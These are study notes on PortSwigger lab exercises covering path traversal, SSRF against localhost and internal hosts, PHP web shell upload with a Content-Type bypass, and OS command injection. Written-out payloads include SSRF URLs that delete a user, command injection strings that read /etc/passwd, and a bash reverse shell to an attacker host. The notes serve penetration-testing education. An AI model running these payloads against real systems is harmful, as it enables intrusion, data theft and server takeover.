Server Side Vulnerabilities
Source: PortSwigger Web Security Academy Author: Johan Beysen
1. Path Traversal
What Is It?
A web application loads files via a URL parameter, e.g.: /loadImage?filename=218.png
The server just appends that filename to a base path: /var/www/images/218.png — without checking what comes in.
The Attack
The attacker uses ../ (directory traversal) to escape the intended directory:
The server then effectively reads /etc/passwd — a system file with user data. Three ../ steps up from /var/www/images/ all the way to the filesystem root /.
Pentesting
Look for parameters that contain filenames or paths: filename=, file=, path=, template=. Burp Suite detects this automatically in an active scan, but manual testing gives more insight into the exact filtering.
2. Basic SSRF Against the Local Server
Concept
The stock-check function sends an HTTP request to a URL that you, as the attacker, control via the stockApi parameter.
Approach
/adminisn't directly accessible from the outside- But the server itself is allowed there —
localhosttrusts itself - Via Burp Repeater, change the
stockApivalue tohttp://localhost/admin - The server fetches that page and returns the HTML — including the delete URL
- Same parameter, new value:
http://localhost/admin/delete?username=carlos→ user deleted
Core principle
The server makes the request on your behalf, from its own network. What's blocked externally is often simply reachable internally.
3. SSRF Against an Internal Back-End System
Task
Use the stock check functionality to scan the internal
192.168.0.Xrange for an admin interface on port 8080, then use it to delete the user carlos.
Approach
- Intercept the stock-check request in Burp → send to Intruder
- Set the
stockApitohttp://192.168.0.§1§:8080/admin— the last octet becomes the payload - Payload type: Numbers, range 1–255, step 1 → Intruder tries all 255 addresses
- Sort results by status code → find the single 200 response
- That IP has the admin interface → send to Repeater
- Add
/admin/delete?username=carlos→ done
Comparison with the Previous Lab
| Previous lab | This lab | |
|---|---|---|
| Target known | localhost | 192.168.0.X (unknown) |
| Approach | Execute directly | First scan internally via Intruder |
SSRF as a port scan
You can also use SSRF as a port/IP scan from the inside — the server scans its own network on your behalf, which is completely invisible from outside.
How Do You Determine the Port?
| Port | Typical use |
|---|---|
| 80 | Standard HTTP |
| 443 | Standard HTTPS |
| 8080 | Alternative HTTP / dev servers |
| 8443 | Alternative HTTPS |
| 8888 | Jupyter, admin panels |
| 9200 | Elasticsearch |
| 6379 | Redis |
| 5432 | PostgreSQL |
| 3306 | MySQL |
3 ways to determine the port:
- Information from the application itself — error messages, JavaScript, HTML comments
- Educated guesses based on commonly used ports (see table)
- A port scan via SSRF itself — exactly like scanning IPs:
http://192.168.0.34:§8080§/
4. Remote Code Execution via Web Shell Upload
Concept
The application lets you upload a profile picture but doesn't validate the file type. So you can upload a PHP file — and when the server later serves that file, it executes the PHP code.
Step by Step
Step 1 — Explore the upload function
- Log in as
wiener:peter, upload a real image as your avatar - Burp shows the image is fetched via
GET /files/avatars/yourimage.png
Step 2 — Create your web shell
Step 3 — Upload the PHP as an "avatar"
- No validation → the server just accepts the file
- It's now on the server as
/files/avatars/exploit.php
Step 4 — Execute the code via Burp Repeater
The server executes the PHP and returns the secret file's contents in the response.
Why Does This Work?
| What's missing | Consequence |
|---|---|
| No MIME-type check | PHP accepted as an upload |
| No extension whitelist | .php is allowed |
| Upload directory is executable | The server executes scripts |
Critical finding
Arbitrary file upload + execution = complete server takeover.
To Test on Every Upload Function
- Can you upload a
.php/.php5/.phtml? - Is the upload directory under a webroot that executes scripts?
- What does the server return if you request the file directly?
5. Web Shell Upload via Content-Type Bypass
Difference from the Previous Lab
The previous lab had no validation at all. This lab does validate — but only the Content-Type header, not the actual file type.
The Bypass
The server checks whether the upload is image/jpeg or image/png — but blindly trusts what the client reports.
| What the server did | What the server should have done |
|---|---|
Check the Content-Type header |
Check the actual file contents (magic bytes) |
| Trust the client | Never trust the client |
Attack Flow
Create exploit.php
↓
Upload → blocked
↓
Same request in Repeater
Content-Type: image/jpeg ← the only change
↓
The server accepts it
↓
GET /files/avatars/exploit.php
↓
The server executes the PHP → secret returned
Core lesson
Never trust client-side data. An attacker controls every header the browser sends. Real validation looks at the file contents themselves (magic bytes like FFD8FF for JPEG), not at what the client claims.
6. OS Command Injection
How It Works
The application checks stock by running a shell command:
The server takes your input, pastes it into a command string, and runs it — without any validation.
The Pipe Character |
# What the server thinks it's executing:
stockcheck storeID=1
# What actually gets executed after your modification:
stockcheck storeID=1 | whoami
Injection Characters
| Character | Behavior |
|---|---|
\| |
Pipe: runs a second command |
&& |
AND: runs the second if the first succeeds |
\|\| |
OR: runs the second if the first fails |
; |
Sequential: runs both commands |
` |
Backtick: runs a command inline |
$() |
Subshell: same as a backtick |
What Can an Attacker Do?
# System info
1|uname -a
# Network configuration
1|ifconfig
# Reading files
1|cat /etc/passwd
# Checking which users exist
1|ls /home
# Searching for sensitive files
1|find / -name "*.config" 2>/dev/null
# Setting up a reverse shell (complete server takeover)
1|bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Why Is This So Critical?
The most severe finding
Command injection is usually the most severe finding in a pentest — it gives direct access to the underlying operating system, not just the application layer.
Relevance for Pentests
Always look for parameters that look operational:
storeId,productId,host,ip,filename,cmd- Forms that ping, traceroute, do DNS lookups
- Any place where the app "does something" with your input at the system level
Test first with |whoami or ; whoami — if the username shows up in the response, you've hit it.